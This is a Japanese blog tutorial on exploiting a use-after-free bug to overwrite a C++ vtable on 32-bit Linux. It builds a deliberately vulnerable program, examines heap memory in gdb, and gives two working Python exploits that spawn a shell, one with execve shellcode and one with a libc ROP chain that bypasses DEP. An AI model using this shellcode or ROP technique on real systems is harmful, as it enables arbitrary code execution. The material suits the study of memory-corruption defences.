use-after-freeによるC++ vtable overwriteをやってみる
一つ前のエントリではuse-after-freeによるGOT overwriteを行ったが、C++におけるvtable overwriteもヒープオーバーフローの場合と同様に行うことができる。 ここでは、use-after-freeによるC++ vtable overwriteを行い、シェルを起動してみる。 またDEPが有効な状況におけるシェル起動についても合わせてやってみる。
環境
Ubuntu 12.04 LTS 32bit版
$ uname -a Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
脆弱性のあるプログラムを用意する
まず、use-after-free脆弱性のあるプログラムコードを書く。
/* uaf.cpp */
#include <cstdio>
#include <cstdlib>
#include <cstring>
using namespace std;
class Block {
char buf[100];
public:
Block(char *buf) { strncpy(this->buf, buf, 100); }
virtual void print() { puts(this->buf); }
};
int main(int argc, char *argv[])
{
Block *block = new Block(argv[1]);
printf("[+] block = %p\n", block);
block->print();
delete block;
int size = atoi(argv[2]);
char *newbuf = new char[size];
printf("[+] newbuf = %p\n", newbuf);
strncpy(newbuf, argv[3], size);
block->print();
delete[] newbuf;
return 0;
}
このコードでは、delete演算子により解放されたblockが、メソッド呼び出しの形で再度参照されている。
また、その間にサイズを自由に指定可能なnewbufが新たに確保され、任意のデータを書き込めるようになっている。
Blockクラスのprint関数にはvirtualキーワードが指定されていることから、このクラスは仮想関数をメンバに持つ。
ASLR、DEP無効、SSP有効としてコンパイル・実行してみる。
$ sudo sysctl -w kernel.randomize_va_space=0 kernel.randomize_va_space = 0 $ g++ -z execstack uaf.cpp $ ./a.out AAAA 100 BBBB [+] block = 0x804b008 AAAA [+] newbuf = 0x804b008 Segmentation fault (core dumped)
解放されたblockと同じアドレスにnewbufが確保され、セグメンテーション違反で落ちていることがわかる。
gdbでメモリの状態を調べてみる
gdbを使って、delete block;が呼ばれる直前のメモリの状態を調べてみる。
$ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) set disassembly-flavor intel (gdb) set print asm-demangle on (gdb) disas main Dump of assembler code for function main: ... 0x08048647 <+83>: call edx 0x08048649 <+85>: mov eax,DWORD PTR [esp+0x14] 0x0804864d <+89>: mov DWORD PTR [esp],eax 0x08048650 <+92>: call 0x80484b0 <_ZdlPv@plt> 0x08048655 <+97>: mov eax,DWORD PTR [ebp+0xc] 0x08048658 <+100>: add eax,0x8 0x0804865b <+103>: mov eax,DWORD PTR [eax] 0x0804865d <+105>: mov DWORD PTR [esp],eax 0x08048660 <+108>: call 0x80484f0 <atoi@plt> ... 0x080486a8 <+180>: call 0x80484c0 <strncpy@plt> 0x080486ad <+185>: mov eax,DWORD PTR [esp+0x14] 0x080486b1 <+189>: mov eax,DWORD PTR [eax] 0x080486b3 <+191>: mov edx,DWORD PTR [eax] 0x080486b5 <+193>: mov eax,DWORD PTR [esp+0x14] 0x080486b9 <+197>: mov DWORD PTR [esp],eax 0x080486bc <+200>: call edx ... End of assembler dump. (gdb) b *main+92 Breakpoint 1 at 0x8048650 (gdb) r AAAABBBB 100 CCCCDDDD Starting program: /home/user/tmp/a.out AAAABBBB 100 CCCCDDDD [+] block = 0x804b008 AAAABBBB Breakpoint 1, 0x08048650 in main () (gdb) x/20wx 0x804b008 0x804b008: 0x08048820 0x41414141 0x42424242 0x00000000 0x804b018: 0x00000000 0x00000000 0x00000000 0x00000000 0x804b028: 0x00000000 0x00000000 0x00000000 0x00000000 0x804b038: 0x00000000 0x00000000 0x00000000 0x00000000 0x804b048: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) x/4wx 0x08048820 0x8048820 <vtable for Block+8>: 0x0804870a 0x6f6c4235 0x00006b63 0x0804a048 (gdb) x/i 0x0804870a 0x804870a <Block::print()>: push ebp
delete block;が呼ばれる直前の状態を調べると、0x804b008にvtableを指すポインタがあり、その先のvtableにBlock::print()関数のアドレスが置かれていることがわかる。
さらに、strncpy関数でnewbufに文字列を書き込んだ直後まで進めてみる。
(gdb) u *main+185 [+] newbuf = 0x804b008 0x080486ad in main () (gdb) x/20wx 0x804b008 0x804b008: 0x43434343 0x44444444 0x00000000 0x00000000 0x804b018: 0x00000000 0x00000000 0x00000000 0x00000000 0x804b028: 0x00000000 0x00000000 0x00000000 0x00000000 0x804b038: 0x00000000 0x00000000 0x00000000 0x00000000 0x804b048: 0x00000000 0x00000000 0x00000000 0x00000000
解放されたblockのアドレスに新たにnewbufが置かれ、vtableを指すポインタがあった箇所が0x43434343 (CCCC) で上書きされていることがわかる。
さらに進めると、セグメンテーション違反で落ちる。
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x080486b3 in main ()
(gdb) x/i $pc
=> 0x80486b3 <main+191>: mov edx,DWORD PTR [eax]
(gdb) i r edx eax
edx 0x0 0
eax 0x43434343 1128481603
(gdb) quit
A debugging session is active.
Inferior 1 [process 5567] will be killed.
Quit anyway? (y or n) y
これは、vtableを指すポインタの中身が0x43434343に書き変わった結果、メモリの読み取りに失敗するためである。
以上の結果から、CCCCを偽のvtableのアドレスに書き換えることにより、block->print();のタイミングで任意のアドレスにジャンプできることがわかる。
エクスプロイトコードを書いてみる
上の内容をもとに、シェルコードを実行するエクスプロイトコードを書くと次のようになる。
# exploit.py
import sys
import struct
from subprocess import Popen
addr_newbuf = int(sys.argv[1], 16)
# execve("/bin/sh", {"/bin/sh", NULL}, NULL)
shellcode = '\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'
newbuf = struct.pack('<I', addr_newbuf+4)
newbuf += struct.pack('<I', addr_newbuf+8)
newbuf += shellcode
size_newbuf = len(newbuf)
p = Popen(['./a.out', 'AAAA', str(size_newbuf), newbuf])
p.wait()
このコードはblockと同じ場所に確保されるnewbufのアドレスを引数に取る。
引数にアドレスをセットし、実行してみる。
$ python exploit.py 0x804b008 [+] block = 0x804b008 AAAA [+] newbuf = 0x804b008 $ id uid=1000(user) gid=1000(user) groups=1000(user) $
vtableを指すポインタの値が書き変わり、シェルコードが実行されることが確認できた。
DEPを回避するエクスプロイトコードを書いてみる
次に、DEPが有効な状況においてROPによりシェルを起動するエクスプロイトコードを書いてみる。
ディスアセンブル結果を見ると、block->pointer();が呼ばれるときedxレジスタにはジャンプ先のアドレス、eaxレジスタにはvtableを指すポインタがあるアドレスが入ることがわかる。
このときのメモリの状態を整理すると次のようになる。
0x804b008:
0x0804b00c <- eax
0x41414141
0xXXXXXXXX
0xXXXXXXXX
0x41414141:
0xYYYYYYYY <- edx
この場合、単純にxchg eax, espを使ってstack pivotしただけでは0x0804b00cにEIPが移ってしまい、うまくいかない。
そこで、ROP gadget探索ツールrp++を使い、利用できるgadgetがないか探してみる。 rp++はファイル単独で動かすことができ、ret命令で終わるパターンに加え、jmp命令で終わるパターン、call命令で終わるパターンも探すことができる。 rp++をダウンロードし、libcに含まれるROP gadgetを出力してみると次のようになる。
$ wget https://github.com/downloads/0vercl0k/rp/rp-lin-x86
$ chmod +x rp-lin-x86
$ ldd a.out
libstdc++.so.6 => /usr/lib/i386-linux-gnu/libstdc++.so.6 (0xb7f10000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7d66000)
libm.so.6 => /lib/i386-linux-gnu/libm.so.6 (0xb7d39000)
/lib/ld-linux.so.2 (0x80000000)
libgcc_s.so.1 => /lib/i386-linux-gnu/libgcc_s.so.1 (0xb7d1b000)
$ readlink -e /lib/i386-linux-gnu/libc.so.6
/lib/i386-linux-gnu/libc-2.15.so
$ ./rp-lin-x86 --file=/lib/i386-linux-gnu/libc-2.15.so --rop=3 --unique > gadgets.txt
$ grep 'xchg eax' gadgets.txt
0x0010d7e2: adc al, 0x0F ; xchg eax, esp ; retn 0xC183 ; (1 found)
0x000b8f8e: adc al, 0x0F ; xchg eax, esp ; retn 0xD284 ; (1 found)
0x00041a25: adc byte [edi], cl ; xchg eax, ebp ; retn 0xB60F ; (1 found)
0x0010cec4: adc byte [edi], cl ; xchg eax, esp ; retn 0xD589 ; (1 found)
0x00105fb3: adc cl, byte [ebx+0x4C89960C] ; xchg eax, ebp ; add al, 0x83 ; retn 0x8501 ; (1 found)
0x000d4a2e: adc cl, byte [edi] ; xchg eax, esp ; retn 0x133C ; (1 found)
0x00048913: adc dword [edi], ecx ; xchg eax, esp ; retn 0xC183 ; (6 found)
0x001721cf: add ah, ah ; xchg eax, ebp ; cli ; jmp eax ; (1 found)
0x0017218f: add ah, ah ; xchg eax, ecx ; cli ; jmp eax ; (1 found)
0x00178cc3: add ah, bh ; xchg eax, edi ; in al, dx ; jmp dword [edi] ; (1 found)
(snip)
出力したgadgets.txtを調べたところ、add al, 0x24; call dword [eax+0x10];というgadgetが見つかった。
これを使いeax+0x34の位置にxchg eax, espのアドレスを置けば、eax+0x24にespを移すことができる。
エクスプロイトコードを書くと次のようになる。
# exploit2.py
import sys
import struct
from subprocess import Popen
addr_newbuf = int(sys.argv[1], 16)
base_libc = int(sys.argv[2], 16)
addr_libc_mod_eax = base_libc + 0x0006598e # 0x0006598e: add al, 0x24 ; call dword [eax+0x10] ; (4 found)
addr_libc_pivot_eax = base_libc + 0x0009b8c9 # 0x0009b8c9: xchg eax, esp ; ret ; (10 found)
addr_libc_system = base_libc + 0x0003f430 # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " system"
addr_libc_exit = base_libc + 0x00032fb0 # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " exit"
addr_libc_binsh = base_libc + 0x161d98 # strings -tx /lib/i386-linux-gnu/libc-2.15.so | grep "/bin/sh"
newbuf = struct.pack('<I', addr_newbuf+4)
newbuf += struct.pack('<I', addr_libc_mod_eax)
newbuf += 'A' * (0x24-len(newbuf))
newbuf += struct.pack('<I', addr_libc_system)
newbuf += struct.pack('<I', addr_libc_exit)
newbuf += struct.pack('<I', addr_libc_binsh)
newbuf += 'A' * (0x24+0x10-len(newbuf))
newbuf += struct.pack('<I', addr_libc_pivot_eax)
size_newbuf = len(newbuf)
p = Popen(['./a.out', 'AAAA', str(size_newbuf), newbuf])
p.wait()
このコードはblockと同じ場所に確保されるnewbufのアドレス、libcのベースアドレスを順に引数に取る。
ASLR無効、DEP、SSP有効でコンパイルし直し、引数をセットしてエクスプロイトコードを実行してみる。 ここで、libcのベースアドレスはgdbなどを利用して調べる。
$ g++ uaf.cpp $ python exploit.py 0x804b008 [+] block = 0x804b008 AAAA [+] newbuf = 0x804b008 $ python exploit2.py 0x804b008 0xb7d44000 [+] block = 0x804b008 AAAA [+] newbuf = 0x804b008 $ id uid=1000(user) gid=1000(user) groups=1000(user) $
DEPが有効な条件下で、シェルコードの実行が失敗すること、その一方でROPによるシェル起動ができていることが確認できた。
関連リンク
- DANGLING POINTER: Smashing the Pointer for Fun and Profit (Black Hat USA 2007)
- Beginners Guide to "Use after free Exploits #IE 6 0-day #Exploit Development" - Fb1h2s aka Rahul Sasi's Blog
- FuzzySecurity | ExploitDev: Part 9: Spraying the Heap [Chapter 2: Use-After-Free] – Finding a needle in a Haystack
- Windows XP等の,IE脆弱性の攻撃方法「ヒープ・スプレー」と「Use After Free」を,HTMLサンプルコードで理解しよう - 主に言語とシステム開発に関して